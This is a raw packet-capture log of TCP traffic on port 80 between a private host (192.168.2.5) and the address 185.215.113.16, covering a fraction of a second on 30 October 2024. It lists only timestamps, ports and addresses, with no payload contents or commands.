Oct 30, 2024 21:55:27.382433891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382467031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.382467031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.382468939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382483006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382493973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382538080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382548094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382555008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.382555962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382574081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382576942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.382587910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382603884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382613897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382615089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.382615089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.382627010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382637978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382647038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.382669926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.382669926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.437937021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.465704918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.465751886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.465764046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.465811968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.465822935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.465862036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.465889931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.465893030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.465900898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.465914011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.465944052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.465969086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.466034889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466052055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466063023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466073036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466082096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466121912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.466121912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.466356039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466367006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466377020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466407061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.466418028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466427088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.466429949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466439962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.466475010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468358040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468369961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468386889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468395948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468405962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468424082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468451023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468451023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468544960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468692064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468703032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468713045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468722105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468733072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468741894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468744993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468754053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468767881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468775034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468775034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468779087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468787909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468796968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468806028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468820095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468827963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468839884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468841076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468849897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468859911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468863964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468885899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468893051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468893051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468919992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.468951941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.468961954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469012022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469291925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469343901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469355106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469383955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469394922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469404936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469414949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469444036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469444036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469611883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469629049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469644070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469654083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469662905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469672918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469681978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469691038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469705105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469705105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469710112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469719887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469729900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469734907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469741106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469749928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469759941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469760895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469774008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469784975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469794035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469794035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469795942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469814062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469825029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469832897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469840050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469845057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469856024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469865084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469877005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469877005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469877958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469888926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469898939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469907045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469917059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469923019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469923019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469927073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469939947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469948053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469949961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.469959021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469971895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.469985008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.470031023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470041990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470052004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470062017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470077038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.470077038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.470088005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470099926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470103025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.470112085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470120907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470132113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470141888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470153093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.470170975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.470170975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.470197916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.470717907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500447035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500550032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500560999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500571966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500575066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500581980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500595093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500605106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500616074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500626087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500647068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500678062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500689030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500694036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500705957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500715971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500720978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500730991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500741959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500751019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500752926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500777960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500777960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500777960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500796080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500797987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500808954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500818014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500828981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500838995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500847101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500858068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500865936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500865936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500876904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500889063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500905991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500911951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500922918 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500932932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500946045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500956059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500955105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500955105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.500972986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500983000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.500994921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.501003981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.501014948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.501041889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.501041889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.501041889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.583473921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583486080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583496094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583563089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.583709955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583751917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583760023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583820105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.583820105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.583832979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583862066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583873034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583889008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583899975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.583929062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.584048986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.584074974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.584083080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.584090948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.584090948 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.584095001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.584110975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.584777117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.584789038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.584801912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.584811926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.584820032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.584822893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.584866047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.584866047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.586426973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586436987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586446047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586471081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586481094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586491108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586498976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.586540937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.586637974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586658001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586668968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586678028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586687088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586704016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.586749077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.586803913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586858034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586868048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586915016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.586986065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.586997032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587006092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587014914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587027073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587033033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587038994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587050915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587060928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587076902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587085009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587090015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587090015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587095976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587135077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587177038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587186098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587224960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587285995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587327003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587335110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587419033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587429047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587439060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587449074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587460041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587471962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587482929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587498903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587507963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587507963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587577105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587635994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587644100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587647915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587677956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587687016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587688923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587747097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587785959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587785959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587799072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587810993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587819099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587853909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587853909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587853909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587904930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587917089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587927103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587937117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.587963104 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.587981939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588041067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588104010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588114977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588155031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588155985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588169098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588181019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588273048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588273048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588449955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588599920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588612080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588630915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588640928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588664055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588670969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588675976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588685989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588696003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588706970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588716984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588726997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588736057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588741064 CET	49712	80	192.168.2.5	185.215.113.16
